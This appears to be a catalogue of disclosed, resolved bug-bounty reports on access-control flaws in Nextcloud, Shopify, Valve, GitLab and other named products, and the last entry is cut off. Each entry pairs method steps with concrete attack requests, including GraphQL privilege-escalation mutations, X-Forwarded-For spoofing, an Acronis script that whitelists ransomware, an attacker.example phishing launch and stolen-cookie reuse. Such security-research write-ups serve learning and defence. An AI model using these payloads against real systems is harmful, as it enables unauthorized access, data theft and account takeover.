Insight — When a role hides a UI panel, replay the API call that panel would make with the target IDs; RBAC is often only front-end.
Real-world example
Share bundle path validated by prefix match -> sibling file access
◆ Medium
Specimen #214001 · files · 600 · 27 votes · resolved
Program filesSurface web
Root cause
A public QuickLink bundle download validates the path parameter by prefix-matching against the shared filename. Any file whose name starts with the shared name (e.g. foo -> footer.php, foobar/secret) passes and is downloaded, even though it was never shared.
Method
- Share a single file 'foo' and get its bundle code
- Request the download with path=foo (works) and path=bar (rejected: Invalid path)
- Change path to any name sharing the prefix: footer.php, foobar/secret
- File is served despite not being shared
GET /bundles/download?code=BUNDLE&path=footer.php&x=SESSION
GET /bundles/download?code=BUNDLE&path=foobar/secret&x=SESSION
Insight — When a share grants access to one object, fuzz the path/name parameter - authorization is often a weak prefix/substring/startswith match, letting you reach sibling files and subdirectories.
Real-world example
Missing board membership check on Deck API (CVE-2021-39225)
◆ Medium
Specimen #1331728 · nextcloud · awarded · 25 votes · resolved
Program nextcloudSurface apiTag api
Root cause
The Deck app's boards/<id>/stacks/<id> API returned card contents without verifying the requesting user is a board member, so any authenticated user reads another user's cards.
Method
- Authenticate as an unrelated low-priv user
- GET the Deck stacks API with another user's board/stack id and OCS-APIREQUEST header
- Read the card titles/contents
curl -X GET -H "OCS-APIREQUEST: true" "http://TARGET/index.php/apps/deck/api/v1.0/boards/1/stacks/1" -u attacker
Insight — App/plugin REST APIs (esp. Nextcloud OCS apps) often trail the core authz; iterate object ids on every app endpoint with a second account.
Real-world example
Android arbitrary file leak via malicious ACTION_GET_CONTENT provider
◆ Medium
Specimen #1142918 · nextcloud · awarded · 25 votes · resolved
Program nextcloudSurface mobile-androidChain malicious GET_CONTENT provider -> private file (auth toke
Root cause
When the client lets the user pick a file to upload/share via ACTION_GET_CONTENT, it trusts whatever URI the chosen app returns. A malicious app registered for GET_CONTENT returns a file:// URI to the client's own private files, which the client then reads and shares out.
Method
- Build an app whose activity handles ACTION_GET_CONTENT and setResult() returns a file:// URI to the victim app's private path
- Install it alongside the target client
- In the client, choose 'upload content from other apps' and pick the malicious app
- The client reads and shares the victim's private file (e.g. its preferences XML with tokens)
setResult(-1, new Intent().setData(Uri.parse("file:///data/data/com.nextcloud.client/shared_prefs/com.nextcloud.client_preferences.xml")));
<intent-filter><action android:name="android.intent.action.GET_CONTENT"/><data android:mimeType="*/*"/></intent-filter>
Insight — Apps that upload/share a file returned from ACTION_GET_CONTENT/OPEN must not blindly read attacker-returned content://file:// URIs - a rogue app can hand back the victim app's own private files. Validate/normalize the returned URI and read via the SAF resolver, not raw file paths.
Real-world example
IDOR via appid parameter on Steam GetReports
◆ Medium
Specimen #350937 · valve · USD 750 · 23 votes · resolved
Program valveSurface apiTag account-takeover
Root cause
An admin-scoped API endpoint authorizes the caller as an admin of some hub but does not verify the admin owns the specific appid supplied, so any hub-admin can read UGC reports for unrelated games.
Method
- Obtain admin permission on any game hub you legitimately control
- Call the GetReports endpoint but substitute the appid of an unrelated game
- Server returns that game's user-generated-content reports
GetReports?appid=<TARGET_APPID> (auth = admin of a DIFFERENT hub)
Insight — When an endpoint requires a privileged role, still fuzz the object identifier: role checks and object-ownership checks are frequently separate, and the object check is often missing.
Real-world example
BFLA: low-priv role calls admin-only GraphQL mutation (changeDomainEnforcementState)
◆ Medium
Specimen #1084892 · shopify · awarded · 23 votes · resolved
Program shopifySurface graphqlTag graphql
Root cause
GraphQL mutation authorization is enforced by which UI a role sees, not by a server-side check on the mutation itself; a user with only 'Store Management' permission can directly send a mutation gated to 'User Management'.
Method
- As org admin, invite a user with only Store-Management permission (gets access to /stores/api GraphQL)
- As that low-priv user, query organization{domains{id}} to get the domain id
- Send the changeDomainEnforcementState mutation directly with enforcementState:NOT_ENFORCED
- Server executes it despite the role lacking User-Management permission
POST /34946971/stores/api HTTP/1.1
Host: shopify.plus
Content-Type: application/json
{"query":"mutation{changeDomainEnforcementState(domainIds:[\"REPLACE_ME\"],enforcementState:NOT_ENFORCED){organization{id domains{id domainName status verified}}userErrors{field message}}}"}
Insight — For every GraphQL/REST mutation reachable by a low role, replay it directly regardless of whether the UI exposes it. Enumerate all mutations via introspection and A-B-A test each against a low-priv session.
Real-world example
Inconsistent authz between sibling API endpoints leaks unreleased data
◆ Medium
Specimen #541020 · valve · awarded · 22 votes · resolved
Program valveSurface apiTag account-takeover
Root cause
Two API methods return related data but only one enforces the release-state check; the sibling (GetGlobalAchievementPercentagesForApp) omits it, leaking achievement names for unreleased games.
Method
- Identify two endpoints returning overlapping data (schema vs stats)
- Confirm one enforces a gating check (release state, visibility)
- Call the sibling with the same id and observe missing check leaking gated data
https://api.steampowered.com/ISteamUserStats/GetGlobalAchievementPercentagesForApp/v2/?gameid=<UNRELEASED_ID>
# vs guarded: GetSchemaForGame/v1/?appid=<ID>
Insight — Map families of related endpoints (get/list/schema/stats/export). Authorization is often implemented per-endpoint; the least-used sibling frequently misses a check its cousin enforces.
Real-world example
Cross-app session/cookie swap to read data of an unentitled app
◆ Medium
Specimen #1609955 · judgeme · awarded · 21 votes · resolved
Program judgemeSurface webTag account-takeover
Root cause
Two vendor apps share an authentication cookie; a staff granted only App B can capture App B's request cookie and replay it against App A's data endpoint, which trusts the cookie without re-checking app entitlement.
Method
- Grant a staff account access to only the low-value app (Ali Express Importer)
- Open that app to establish its session
- Send a request to the target app's data endpoint (judge.me/index.json?shopdomain=...) and capture the login-prompt request
- Swap in the cookie obtained from the low-value app's authenticated request
- Replay -> receive all reviews including hidden/archived from the app you were never granted
GET https://judge.me/index.json?shopdomain={shop}.myshopify.com&page=1&per_page=25&offset=0
Cookie: <cookie captured from the app you DO have access to>
Insight — When one vendor ships multiple apps sharing a cookie/SSO, entitlement to the weakest app can be laundered into data access on a stronger app. Enumerate all endpoints and try each app's session cookie against the others.
Real-world example
BFLA: read-only member deletes higher-privileged members via open DELETE endpoint
◆ Medium
Specimen #810320 · helium · awarded · 21 votes · resolved
Program heliumSurface apiChain id enumeration via GraphQL list -> unauthorized DELETE -&Tag graphql
Root cause
DELETE /api/memberships/<membershipID> performs no role check on the caller; any org member (including read-only) can delete any membership, including managers/admins/owner, given the target membership id.
Method
- Join/switch into the target org as a read-only member
- Read the PaginatedMembershipsQuery GraphQL response to enumerate membership ids (incl. admins/owner)
- Send DELETE /api/memberships/<id> for the higher-privileged member
- Target is removed and logged out with 401 loss of org access
DELETE /api/memberships/<victim_membership_id> HTTP/1.1
Host: console.helium.com
Authorization: Bearer <readonly_user_token>
Insight — State-changing endpoints (DELETE/PUT) often lack the authz enforced on the UI. Enumerate object ids from a permissive list/GraphQL query, then A-B-test destructive endpoints from the lowest-privilege session.
Real-world example
X-Forwarded-For: 127.0.0.1 bypasses IP allowlist on admin page
◆ Medium
Specimen #1070889 · palo_alto_software · none · 20 votes · resolved
Program palo_alto_softwareSurface webTag account-takeover
Root cause
Admin page restricts access by source IP but derives the client IP from the attacker-controlled X-Forwarded-For header, so spoofing localhost re-grants access (bypass of an earlier fix #870709).
Method
- Identify an admin/internal path that returns 403 for external clients
- Resend the request adding X-Forwarded-For: 127.0.0.1 (also try X-Real-IP, X-Client-IP, X-Originating-IP)
- Receive the admin page
GET /pagespeed-global-admin/ HTTP/1.1
Host: webtools.paloalto.com
X-Forwarded-For: 127.0.0.1
Insight — IP-based allowlists that read forwarded headers are trivially bypassed. On any 403-on-internal-path, spray the forwarded-IP header family with 127.0.0.1/10.0.0.1/localhost and retest after vendor 'fixes' - the guard is often reintroduced elsewhere.
Real-world example
Node permission model honors wildcard only as trailing char
◆ Medium
Specimen #2257156 · nodejs · none · 20 votes · resolved
Program nodejsSurface otherTag account-takeover
Root cause
Node.js experimental permission model treats a '*' anywhere in --allow-fs-read/write as a trailing wildcard, so --allow-fs-read=/home/node/.ssh/*.pub actually grants everything under /home/node/.ssh/ (CVE-2024-21890).
Method
- Run node with a scoped grant like --allow-fs-read=/dir/*.ext
- Read a file in /dir that does not match .ext
- Access succeeds -> the suffix after '*' is ignored
node --experimental-permission --allow-fs-read=/home/node/.ssh/*.pub app.js
// fs.readFileSync('/home/node/.ssh/id_rsa') succeeds
Insight — When testing sandbox/allowlist path grammars, assume glob parsing is naive: place the wildcard mid-pattern and verify the suffix is enforced. 'Only trailing * is honored' is a common footgun in permission DSLs.
Real-world example
Cross-context file reference silently upgrades object ACL
◆ Medium
Specimen #763177 · phabricator · USD 500 · 20 votes · resolved
Program phabricatorSurface web
Root cause
Referencing a private file (by ID, e.g. {F27}) from a public object auto-broadens the file's permissions to match the container - and this re-permissioning triggers when a higher-privileged user (who can see the file) edits a lower-privileged user's public post.
Method
- As high-priv user, attach a private file to a restricted task; note its file ID
- As low-priv attacker, create a public task embedding {F<id>} plus bait (typos/profanity) to lure an edit
- When a privileged user edits the public post, the file's ACL is silently widened and the attacker can now read it
{F27} # embed private file ID inside a public/lower-trust object
Insight — 'Reference resolves = permission inherits' is a dangerous pattern. Hunt for object-embedding features (files, images, snippets) where placing a private object's ID into a public container mutates the object's own ACL, especially when a privileged viewer's action performs the mutation.
Real-world example
Broken authorization check gates on a nonexistent role -> any user exports full user list
◆ Medium
Specimen #228399 · other · awarded · 20 votes · resolved
Program otherSurface webChain broken authz -> bulk PII export (emails) -> phishing/cTag account-takeover
Root cause
Discourse's ExportCsvController authorization only refused entity type 'admin', but no 'admin' export entity exists, so the guard is a no-op; the real limit collapses to one export/day, letting any authenticated user export the full user table (names, emails, admin flags).
Method
- As a low-priv user, call the CSV export endpoint
- Request a sensitive entity type (user_list) that is not the (nonexistent) 'admin' type
- Download the exported CSV of all users
POST /export_csv/export_entity.json
entity=user_list
# guardian only blocks entity=='admin', which never exists -> allowed
Insight — Read authorization checks literally: a deny-list keyed on a value that can never occur is a broken check. When you see a role/type gate, test whether the gated value actually exists in the system - if not, the guard is a no-op and every action behind it is open.
Real-world example
Shared-access role escalates into parent's SSO support portal
◆ Medium
Specimen #1071918 · logitech · USD 200 · 19 votes · resolved
Program logitechSurface webChain Moderator delegation -> SSO bridge -> full owner suppoTag oauth
Root cause
Streamlabs 'act as' shared-access (Moderator) session is trusted by the Zendesk support SSO bridge, which does not re-check the delegated role, so a Moderator can view/create/edit the owner's support tickets and profile.
Method
- Owner (A) creates a Moderator shared-access invite; attacker (B) accepts it
- As B, activate 'acting as A'
- Navigate to the Zendesk SSO bridge URL
- Land in A's authenticated support portal beyond the moderator's intended scope
https://streamlabs.com/zendesk?brand_id=1&locale_id=1&return_to=https://support.streamlabs.com
Insight — Delegation/'act-as'/impersonation features rarely propagate the delegated role to satellite systems (support, billing, help desk, SSO bridges). After entering a limited delegated session, walk to every cross-domain SSO handoff and test what scope you actually inherit.
Real-world example
Forgot-password response leaks admin endpoints that lack auth
◆ Medium
Specimen #2043552 · tennessee-valley-authority · none · 19 votes · resolved
Program tennessee-valley-authoritySurface webTag account-takeover
Root cause
Admin-only endpoints enforce no server-side authentication; the forgot-password flow's response body discloses their paths, giving an attacker a map of unprotected functionality.
Method
- Trigger forgot-password for 'admin' at /Account/ForgotPassword.aspx
- Capture the reset request/response in Burp
- Harvest endpoint paths leaked in the response (EditNotes.aspx, HOEvalDetailWONav.aspx, AddressLookup.aspx)
- Call those endpoints directly unauthenticated; they neither require auth nor throttle
/Evaluation/EditNotes.aspx?ProjectId=
/Evaluation/HOEvalDetailWONav.aspx?ProjectID=
/Tools/Customer/AddressLookup.aspx
Insight — Password-reset and error responses often leak internal route names; probe those routes directly since UI-hidden admin endpoints frequently rely only on obscurity.
Real-world example
GraphQL mutation self-grants elevated permission (BFLA)
◆ Medium
Specimen #1018094 · shopify · awarded · 19 votes · resolved
Program shopifySurface graphqlTag graphql
Root cause
A GraphQL mutation (retailUserDataUpdate) that changes a staff member's POS access + PIN performs no authorization check tying the caller's privileges to the operation, so a low-privilege staffer invokes it against their own id to gain POS access with no admin interaction.
Method
- Log in as low-priv staff (e.g. Manage Locations only) in a store with POS
- Find your own StaffMember gid
- Call the mutation to set posAccess:true and a PIN of your choice
mutation { retailUserDataUpdate(id:"gid://shopify/StaffMember/ID", retailUserData:{posAccess:true, pin:"1423"}){ staffMember{ name } userErrors{ message } } }
Insight — GraphQL mutations frequently miss function-level authorization. Enumerate privileged mutations (introspection / JS bundles) and A-B-A test them from a low-priv session against your own object id; self-service permission grants are a common BFLA/mass-assignment win.
Real-world example
Missing object-ownership check on admin action id param
◆ Medium
Specimen #351106 · valve · USD 750 · 18 votes · resolved
Program valveSurface webTag account-takeover
Root cause
resetreportedcount and updatetags validate that the caller is a hub admin but not that the target id belongs to that hub; changing the id operates on UGC/guides in other hubs.
Method
- Perform Clear Reports / Update Tags in a hub you admin; capture the request
- Replay it changing the id param to a UGC/guide id outside your hub
- Server executes the action on the foreign object
POST .../resetreportedcount id=<ANY_UGC_ID>
POST .../updatetags id=<ANY_GUIDE_ID>
Insight — Admin-role check != per-object authorization; for every privileged action tamper the object id to something outside your scope.
Real-world example
Single privileged handler dispatches all admin actions via 'action' param with no authz
◆ Medium
Specimen #300099 · eternal · 300 · 18 votes · resolved
Program eternalSurface web
Root cause
One backend handler (dashboard_handler.php) routes many privileged review-moderation actions selected by an 'action' POST parameter, and it is reachable by any user with no role check (and no CSRF protection), so an attacker can perform admin operations by naming the action.
Method
- Discover the admin handler endpoint and its action names
- POST action=<privileged_action> with the target object id (e.g. review_id)
- No authorization is enforced -> action executes (edit/delete/feature/mail reviews)
<form action="https://www.TARGET.com/PATH/dashboard_handler.php" method="POST">
<input type="hidden" name="action" value="edit">
<input type="hidden" name="review_id" value="31268525">
<input type="hidden" name="review" value="Privilege Escalation">
</form>
Insight — Look for monolithic *_handler.php / dispatcher endpoints that switch on an action/op/cmd param. Enumerate action values (JS, leaked source) and test each unauthenticated/low-priv; missing authz on the dispatcher exposes the whole admin surface at once, and no CSRF token makes it forgeable.
Real-world example
ACL bypass by embedding object-reference syntax that skips the attach check
◆ Medium
Specimen #1560717 · phabricator · 2000 · 17 votes · resolved
Program phabricatorSurface web
Root cause
Phabricator checks file-view permission when attaching a file to normal objects, but skips that check when a commit message references a file via {Fxxxx} syntax; syncing the commit makes the referenced file viewable regardless of the caller's access.
Method
- Enumerate restricted file IDs (Fxxxxxxx)
- Put the file-reference syntax in a commit message in a Diffusion repo you control
- Push/sync the commit; the referenced restricted file becomes publicly viewable
git commit -m "see {F1718696}" # restricted file reference in commit message, synced to Phabricator
Insight — Any surface that renders or attaches object references (commit messages, comments, markdown, remarkup) may skip the permission check the primary attach flow performs. Enumerate object IDs and embed the reference to force disclosure.
Real-world example
Unauthenticated localhost REST API disables a security control
◆ Medium
Specimen #858608 · acronis · awarded · 17 votes · resolved
Program acronisSurface desktop
Root cause
A privileged Windows service (anti_ransomware_service.exe) exposes a REST API on 127.0.0.1:6109 with no authentication, so any local unprivileged user can whitelist a malicious executable or exclude the whole drive from anti-ransomware monitoring.
Method
- As any local user, PUT to the whitelist endpoint to add a malicious exe
- Or PUT to the excludes endpoint to exclude C:\* from monitoring
- Verify in the GUI that protection is effectively disabled
import requests, json
h={'User-Agent':'AcronisRestClient','Accept':'application/json','Content-Type':'application/json'}
# whitelist a malicious exe:
requests.put('http://localhost:6109/lists/processImages/white', headers=h,
data=json.dumps({'additions':[{'path':'C:\\ProgramData\\ransomware_exe.exe'}],'removals':[]}))
# exclude whole drive:
requests.put('http://localhost:6109/lists/excludes', headers=h,
data=json.dumps({'additions':[{'path':'C:\\*'}],'removals':[]}))
Insight — Desktop security agents often back their GUI with an unauthenticated loopback REST/IPC service. Any local process can call it to disable protection or change trust lists. Enumerate listening 127.0.0.1 ports of privileged services and fuzz their endpoints.
Real-world example
GraphQL field lacks per-resolver permission check (BFLA on a field)
◆ Medium
Specimen #1091380 · shopify · awarded · 17 votes · resolved
Program shopifySurface graphqlTag graphql
Root cause
The GraphQL field serviceMetrics.totalEarnings is not gated by the 'View financials' permission, so a partner staff member with no permissions can read financial data.
Method
- Owner invites a staff member with no permissions
- As that staff member, intercept any authenticated partners GraphQL request
- Replace the query body with the financial query
{"query":"{ serviceMetrics { totalEarnings { amount } } }"}
Insight — GraphQL authorization is enforced per-resolver/field; individual sensitive fields are routinely missed. Take any authenticated low-privilege session and directly query fields you shouldn't be able to see rather than relying on the UI to hide them.
Real-world example
Read-only share recipient escalates re-share permissions via client-supplied permissions bit
◆ Medium
Specimen #619484 · nextcloud · awarded · 17 votes · resolved
Program nextcloudSurface webChain read-only share -> re-share PUT permissions=15 -> writ
Root cause
A user with read+share (no write) on a folder creates a public link share of a sub-folder, then PUTs an arbitrary permissions value to the sharing API; the server updates the child share's permissions without capping them to the parent share's granted rights, yielding write/delete on read-only content (CVE-2019-15621).
Method
- Receive a read+share (perms 17) share of a folder
- Create a public link share of a sub-folder (server sets read-only perms 1)
- PUT permissions=15 to the share via the sharing API
- Browse the link and create/modify/delete files despite only having read on the source
curl --user user1:user1 "http://TARGET/ocs/v1.php/apps/files_sharing/api/v1/shares/3" -H "OCS-APIRequest: true" -X PUT --data 'permissions=15'
Insight — When permissions are represented as a client-supplied bitmask/enum on an update call, tamper it upward. The core bug class: a delegated/child grant not clamped to the delegator's own rights - test every re-share/sub-resource permission field.
Real-world example
IP-based restriction bypass via X-Forwarded-For spoofing
◆ Medium
Specimen #812907 · urbandictionary · none · 17 votes · resolved
Program urbandictionarySurface apiTag account-takeover
Root cause
A per-IP action limit (vote restriction) derives the client IP from a client-controlled X-Forwarded-For header, so spoofing it grants unlimited actions.
Method
- Find an action limited per IP (votes, signups, coupon redemptions).
- Add/rotate X-Forwarded-For with arbitrary IPs on each request.
- Confirm the limit is keyed on the spoofed value; automate via Intruder/script.
POST /v0/vote HTTP/1.1
Host: api.TARGET
X-Forwarded-For: 12.34.56.79
Content-Type: application/json
{"defid":12559865,"direction":"up"}
# rotate XFF per request for unlimited votes
Insight — Any 'one per IP' control is bypassable if the app trusts X-Forwarded-For / X-Real-IP / X-Client-IP / True-Client-IP behind a proxy. Also chains to bypass IP-based auth lockout and geofencing.
Real-world example
IP allowlist bypass via an alternate domain / preview feature serving the same objects
◆ Medium
Specimen #1591412 · gitlab · awarded · 16 votes · resolved
Program gitlabSurface web
Root cause
A group IP allowlist restricts artifact access through the API and UI, but the gitlab.io Pages HTML-artifact-preview path serves the same job artifacts and is not covered by the IP block; with a job ID (leaked e.g. via pipeline-finished emails) artifacts are fetchable from any IP, unauthenticated for public projects.
Method
- Create a public project that produces artifacts; confirm normal artifact URL works
- Enable the group IP allowlist; normal artifact URL now 404s outside the range
- Fetch the same file via the Pages preview host from any IP / logged out
https://<group>.gitlab.io/-/<project>/-/jobs/<JOBID>/artifacts/<file>
Insight — Access controls tied to one host or route frequently don't cover alternate domains or preview/render features that expose the same objects. Enumerate secondary domains (pages, cdn, preview, export) and check whether they re-serve protected data. Job IDs leak via email notifications.
Real-world example
Authz enforced only by redirect; body still returns data
◆ Medium
Specimen #737334 · clario · USD 300 · 16 votes · resolved
Program clarioSurface webTag account-takeover
Root cause
Access to activation-gated functionality is enforced only by a 302 redirect to /access-denied, while the response still contains the full requested data; rewriting the status/redirect reveals it.
Method
- Access a feature that requires account activation as an unactivated user
- Note the response is 302 -> /access-denied but the body carries the real data
- Add a Burp match-replace rule to rewrite 302 to 200 / drop the Location
- Data renders; activation gate bypassed
Burp Match & Replace: response status 302 -> 200 (or strip Location: /access-denied)
Insight — If a page 'redirects' you away but the sensitive body is already in the response, the control is cosmetic; force-render by rewriting status/Location.
Real-world example
Reverse-direction ownership bypass of a link operation
◆ Medium
Specimen #3780709 · revive_adserver · none · 16 votes · resolved
Program revive_adserverSurface web
Root cause
A prior fix (CVE-2026-34913) added ownership validation to linking a tracker to a campaign, but the reverse operation in tracker-campaigns.php (linking a campaign to a tracker) was left unchecked, letting a low-privileged user cross-link objects owned by other managers.
Method
- Identify a relationship-linking feature whose forward direction was recently patched for authz.
- Exercise the reverse operation (campaign->tracker instead of tracker->campaign) via its script.
- Link your object to another manager's object; ownership is not validated on that path.
# invoke the reverse link operation, e.g. tracker-campaigns.php, referencing another manager's campaign/tracker id
Insight — After a fix adds an ownership check, test the mirror operation of a bidirectional relationship. Patches often cover only the direction described in the original report. Classic patch-bypass / variant hunting.
Real-world example
Android exported-component abuse: intent spoofing + broadcast interception
◆ Medium
Specimen #97295 · ok · awarded · 16 votes · resolved
Program okSurface mobile-androidTag account-takeover
Root cause
Components are exported/implicitly-invocable without permission checks: a malicious app can start privileged activities (intent spoofing) and both send fake app notifications and intercept the app's implicit-broadcast notifications (unauthorized intent receipt).
Method
- Decompile the APK and read AndroidManifest for exported components and unprotected broadcasts (android:exported=true / no android:permission).
- Start a sensitive exported activity from a malicious app to trigger unintended actions (e.g. video upload).
- Broadcast the app's implicit action with forged extras to inject fake notifications; register a receiver for that action to intercept private messages.
// intent spoofing - launch privileged activity
Intent m = new Intent();
m.setClassName("ru.ok.android","ru.ok.android.ui.activity.StartVideoUploadActivity");
startActivity(m);
// inject fake notification via implicit broadcast
Intent u = new Intent("ru.ok.android.action.NOTIFY");
u.putExtra("message","fake message");
sendBroadcast(u);
// intercept: register a receiver for the same action (unauthorized receipt)
Insight — Audit exported activities/services/receivers and implicit broadcasts. Implicit broadcasts are readable by any app registering the action (message interception); exported activities let other apps drive privileged flows. Fix = exported=false or signature/custom permissions.
Real-world example
Exported Android activity loads attacker URL in WebView (phishing)
◆ Medium
Specimen #283058 · irccloud · awarded · 16 votes · resolved
Program irccloudSurface mobile-androidTag saml
Root cause
An exported activity (SAMLAuthActivity) reads an 'auth_url' (and 'title') extra from an untrusted intent and loads it into a WebView, so any installed app (or Instant App from the web) can render an attacker page under the app's chrome for credential phishing.
Method
- Find exported activities that take a URL/title extra and feed it to WebView.loadUrl (manifest + smali/Java).
- Launch it with a malicious auth_url and a convincing title.
- The user sees no real URL and trusts the app-branded login page.
adb shell am start -n com.irccloud.android/com.irccloud.android.activity.SAMLAuthActivity \
-e title "IRCCloud: Login Required" -e auth_url "https://attacker.example/login"
Insight — Exported activities that pass intent-supplied URLs to WebViews are a recurring Android bug: arbitrary-URL load -> phishing, and if JS bridges exist, XSS/RCE. Grep manifests for exported components and trace extras into loadUrl.
Real-world example
Store admin page reachable via forced browsing
◆ Medium
Specimen #1164854 · acronis · 250 · 15 votes · resolved
Program acronisSurface web
Root cause
Administrative store console served without any authentication gate; direct navigation exposes item/order/promo-code management.
Method
- Guess/enumerate admin paths (e.g. /ADMIN/store/index.cfm)
- Navigate directly; the page loads with full admin functions and no login
http://TARGET/ADMIN/store/index.cfm
Insight — Forced-browse common admin directory names (/admin, /ADMIN/store, /manage, *.cfm consoles). Legacy ColdFusion/CFM apps frequently ship admin pages that rely on obscurity rather than an auth check.
Real-world example
BFLA: low-priv role invokes admin-only GraphQL mutation
◆ Medium
Specimen #1084939 · shopify · awarded · 15 votes · resolved
Program shopifySurface graphqlTag graphqlTag saml
Root cause
Shopify Plus enforces UI-level role restrictions but the backend GraphQL mutations do not re-check the caller's permission, so a Store-Management user can call User-Management-only enforceSamlOrganizationDomains (and an install-only user can call appUninstall).
Method
- Create a low-privilege staff/user with only Store (or app install) management
- Discover the org GraphQL endpoint (POST /:org_id/stores/api) and read needed IDs via an introspective query
- Replay the privileged mutation as the low-priv user; it succeeds
POST /34946971/stores/api HTTP/1.1
{"query":"mutation{ enforceSamlOrganizationDomains(domainIds:[\"DOMAIN_ID\"]){ userErrors{message} } }"}
# also (1466855):
{"query":"mutation UninstallCustomApp($appId: ID!){ appUninstall(input:{id:$appId}){ app{id} userErrors{message} } }","variables":{"appId":"gid://shopify/App/6431893"}}
Insight — Function-level authorization is enforced per-mutation on GraphQL APIs; the UI hiding a button proves nothing. Enumerate mutations, then replay each privileged one from a low-role session (A-B-A testing) to find missing per-operation permission checks.
Real-world example
Admission-webhook bypass via mispopulated oldObject
◆ Medium
Specimen #1095612 · kubernetes · awarded · 14 votes · resolved
Program kubernetesSurface api
Root cause
For Node UPDATE AdmissionReview, Kubernetes populated oldObject fields with the NEW values, so validating webhooks that enforce immutability by diffing old vs new see no change and admit forbidden mutations (labels, taints, unschedulable, etc.).
Method
- Deploy a ValidatingWebhookConfiguration for Node updates that logs oldNode and newNode
- Patch a supposedly-immutable field (metadata.labels, spec.taints, spec.unschedulable)
- Observe old and new objects carry identical patched values -> diff-based checks pass
kubectl patch node NODE --type=merge -p '{"metadata":{"labels":{"steer":"x"}}}'
# webhook logs show oldNode.labels == newNode.labels (both patched)
Insight — When testing policy/admission controllers that enforce immutability by comparing old vs new state, verify the old state is actually the pre-change state. If old==new, every diff-based guard is bypassable. Applies to K8s webhooks and any 'compare before/after' authorization.
Real-world example
Export/download endpoints bypass UI-level page-restriction permissions
◆ Medium
Specimen #915140 · automattic · awarded · 14 votes · resolved
Program automatticSurface webTag account-takeover
Root cause
Sharing restricts which result pages a recipient may view in the UI, but the export (.xlsx) endpoints enforce no such per-page check, so a recipient granted only 'Results' can pull Overview/Locations/Participants data via direct export URLs.
Method
- Share a resource granting the victim only a subset of pages plus Export
- As the restricted recipient, request the export URLs for pages you were NOT granted
- Restricted data downloads despite the UI restriction
https://app.crowdsignal.com/share/<surveytoken>.xlsx
https://app.crowdsignal.com/share/<surveytoken>/locations.xlsx
https://app.crowdsignal.com/share/<surveytoken>/participants.xlsx
Insight — Authorization enforced in the UI/render layer is frequently missing on alternate representations: export/print/API/.json/.xlsx/.pdf/.csv endpoints. For any 'share with limited scope' feature, enumerate the download/export variants and confirm each re-checks scope.
Real-world example
GitLab Pages token theft via service worker + OAuth state relay
◆ Medium
Specimen #1439552 · gitlab · 1680 · 13 votes · resolved
Program gitlabSurface webChain service worker /auth intercept -> OAuth state relay ->Tag oauthTag account-takeover
Root cause
GitLab Pages session cookies are not bound to the subdomain they were issued for; an attacker who can host a private Pages site the victim can view registers a service worker that intercepts /auth, and relays the OAuth code/state through an attacker server to mint a pages session cookie usable on the victim's private Pages subdomains.
Method
- Attacker hosts a private Pages site (attacker.gitlab.io) and invites the victim as collaborator
- Victim visits; a service worker registers and intercepts only the /auth endpoint
- Attacker server fetches a session cookie + redirect URL and relays the victim through OAuth (defeats the state CSRF param)
- Service worker captures the OAuth code/state at /auth and sends it to the attacker server
- Attacker completes /auth with the original cookie to get an authenticated pages cookie, reused cross-subdomain
# stolen cookie reused on victim subdomain:
curl -v --cookie 'gitlab-pages=<stolen>' https://VICTIM.gitlab.io/<private-project>
Insight — On multi-tenant *.domain hosting, test whether session cookies are validated against the exact subdomain. Service workers registered on an attacker-controlled tenant can intercept auth callbacks; combined with an OAuth state relay this yields cross-subdomain session theft. Scope Pages/tenant cookies to their subdomain.
Real-world example
IP-in-IP routing enables ACL bypass / reflective DDoS
◆ Medium
Specimen #893922 · ibb · 750 · 13 votes · resolved
Program ibbSurface networkChain IP-in-IP decapsulation -> inner packet forwarding -> A
Root cause
Many internet-facing devices accept IP-in-IP (RFC2003, proto 4) encapsulated packets from any source and unwrap+forward the inner packet via their routing tables without source/destination validation, letting an attacker route traffic through the device.
Method
- Send an IP-in-IP packet (proto 4) whose outer dst is the target device and inner dst is an internal/arbitrary host
- Vulnerable device decapsulates and forwards the inner packet, reaching networks behind its ACLs
- Abuse for reflective DDoS (spoofed inner src) or to reach filtered internal destinations
# scapy: outer to device, inner to internal target
send(IP(dst='DEVICE')/IP(dst='INTERNAL_HOST')/ICMP())
Insight — Test edge devices for IP-in-IP (proto 4) decapsulation: if they forward arbitrary inner packets, network ACLs relying on source/interface are bypassable and the device becomes a DDoS reflector. Devices should only decapsulate for explicitly configured tunnel peers.
Real-world example
Privacy transfer leaves data readable via search index API
◆ Medium
Specimen #748375 · gitlab · awarded · 13 votes · resolved
Program gitlabSurface api
Root cause
Changing an object's visibility (public group transferred into a private group) does not re-index or purge the Elasticsearch documents, so the now-private code/wiki is still returned by the search API even though the UI hides it.
Method
- Create public group + public project with known content
- Transfer the whole group into a private group
- As an unrelated user, search the term in the UI (no results shown, but count>0)
- Hit /api/v4/search?search=<term>&scope=blobs (and scope=wiki_blobs) to retrieve the private content
GET /api/v4/search?search=password&scope=blobs
GET /api/v4/search?search=password&scope=wiki_blobs
Insight — Search/index backends are a durable side-channel: after any visibility downgrade, query the search API directly (not the UI) for the old content. UI result-count leaks (count>0 with 0 rows shown) are the tell.
Real-world example
Permission-policy overlap lets low roles pass a developer-only gate
◆ Medium
Specimen #1375393 · gitlab · awarded · 13 votes · resolved
Program gitlabSurface api
Root cause
The endpoint gated on the :approve_merge_request ability, but the policy also grants that ability to anyone who can :update_merge_request (author/assignee), which includes Guest/Reporter — so the intended Developer+ restriction is silently widened.
Method
- Identify a privileged action gated by ability X
- Read the ability policy graph for rules that also confer X via a weaker ability (e.g. update/own-object rules)
- Become author or assignee of the object as a low-priv user (create MR via fork/email, or get assigned)
- Perform the action that should require Developer+
# find_merge_request_with_access(iid, :approve_merge_request)
# policy: rule { can?(:update_merge_request) }.enable :approve_merge_request
# author/assignee => update_merge_request => approve_merge_request
Insight — Authorization bugs hide in the ability/policy graph, not just in missing checks. When source is available, grep the policy rules for a gated ability and trace every other ability that enables it; owner/author/assignee shortcuts frequently leak privileged abilities to low roles.
Real-world example
Add-collaborator endpoint lacks authorization (self-add to any object)
◆ Medium
Specimen #173969 · instacart · $150 · 13 votes · resolved
Program instacartSurface apiChain self-add collaborator -> full control of arbitrary object
Root cause
The endpoint that adds a collaborator to a resource does not verify the caller owns/can-share the target resource, so any authenticated user can add themselves as collaborator to any resource by ID and inherit full control.
Method
- Pick a target resource ID (enumerable list id)
- POST to the add-collaborator endpoint with your own email and the target id
- Retrieve the resource token and open the edit view to read/modify/delete it
POST /api/v2/list_users HTTP/1.1
Host: www.instacart.com
Content-Type: application/json
Cookie: <yours>
